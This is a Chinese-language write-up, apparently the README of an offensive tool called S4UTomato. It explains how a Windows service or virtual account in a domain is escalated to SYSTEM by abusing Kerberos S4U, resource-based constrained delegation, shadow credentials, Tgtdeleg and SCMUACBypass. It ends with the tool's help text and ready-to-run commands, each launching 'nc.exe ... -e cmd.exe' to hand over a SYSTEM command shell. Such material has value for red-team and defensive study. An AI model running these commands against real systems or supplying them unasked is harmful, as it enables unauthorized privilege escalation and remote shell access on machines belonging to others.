通过 Kerberos 将服务账户提升至 LocalSystem。
熟悉“土豆”系列权限提升的朋友应该知道,它可以将服务账户权限提升至本地系统权限。早期的“土豆”利用技术几乎相同:利用 COM 接口的某些特性,欺骗 NT AUTHORITY\SYSTEM 账户连接并认证到攻击者控制的 RPC 服务器。然后,通过一系列 API 调用,在此认证过程中执行中间人(NTLM 中继)攻击,从而在本地系统上生成 NT AUTHORITY\SYSTEM 账户的访问令牌。最后,窃取该令牌,并使用 CreateProcessWithToken() 或 CreateProcessAsUser() 函数传递令牌并创建新进程以获得 SYSTEM 权限。
在 Windows 域环境中,SYSTEM、NT AUTHORITY\NETWORK SERVICE 以及 Microsoft 虚拟账户由加入域的计算机系统账户用于认证。理解这一点至关重要,因为在现代 Windows 版本中,大多数 Windows 服务默认使用 Microsoft 虚拟账户运行。值得注意的是,IIS 和 MSSQL 使用这些虚拟账户,我相信其他应用程序也可能使用它们。因此,我们可以滥用 S4U 扩展来获取本地机器上域管理员账户“Administrator”的服务票据。然后,借助 James Forshaw(@tiraniddo)的 SCMUACBypass,我们可以使用该票据创建一个系统服务并获得 SYSTEM 权限。这达到了与“土豆”系列权限提升技术中传统方法相同的效果。
在任何加入域的环境中,只要你能在 Windows 服务账户或 Microsoft 虚拟账户的上下文中运行代码,并且 Active Directory 没有完全强化防御此类攻击,你就可以利用上述技术进行本地权限提升。
在此之前,我们需要获取本地机器账户的 TGT(票据授予票据)。这并不容易,因为服务账户权限的限制,我们无法获取计算机的长效密钥,从而无法构造 KRB_AS_REQ 请求。为了实现上述目标,我利用了三种技术:基于资源的约束性委派、影子凭证 和 Tgtdeleg。我基于 Rubeus 工具集构建了我的项目。
C:\Users\whoami\Desktop>S4UTomato.exe --help
S4UTomato 1.0.0-beta
Copyright (c) 2023
-d, --Domain 要认证的域(FQDN)。
-s, --Server 域控制器或 LDAP 服务器的主机名。
-m, --ComputerName 要创建的新计算机账户名称。
-p, --ComputerPassword 要创建的新计算机账户密码。
-f, --Force 强制更新计算机对象的 'msDS-KeyCredentialLink' 属性。
-c, --Command 要运行的程序。
-v, --Verbose 输出详细的调试信息。
--help 显示此帮助屏幕。
--version 显示版本信息。
S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"

S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f

# 首先通过 Tgtdeleg 获取 TGT
S4UTomato.exe tgtdeleg
# 然后运行 SCMUACBypass 以获得 SYSTEM 权限
S4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"
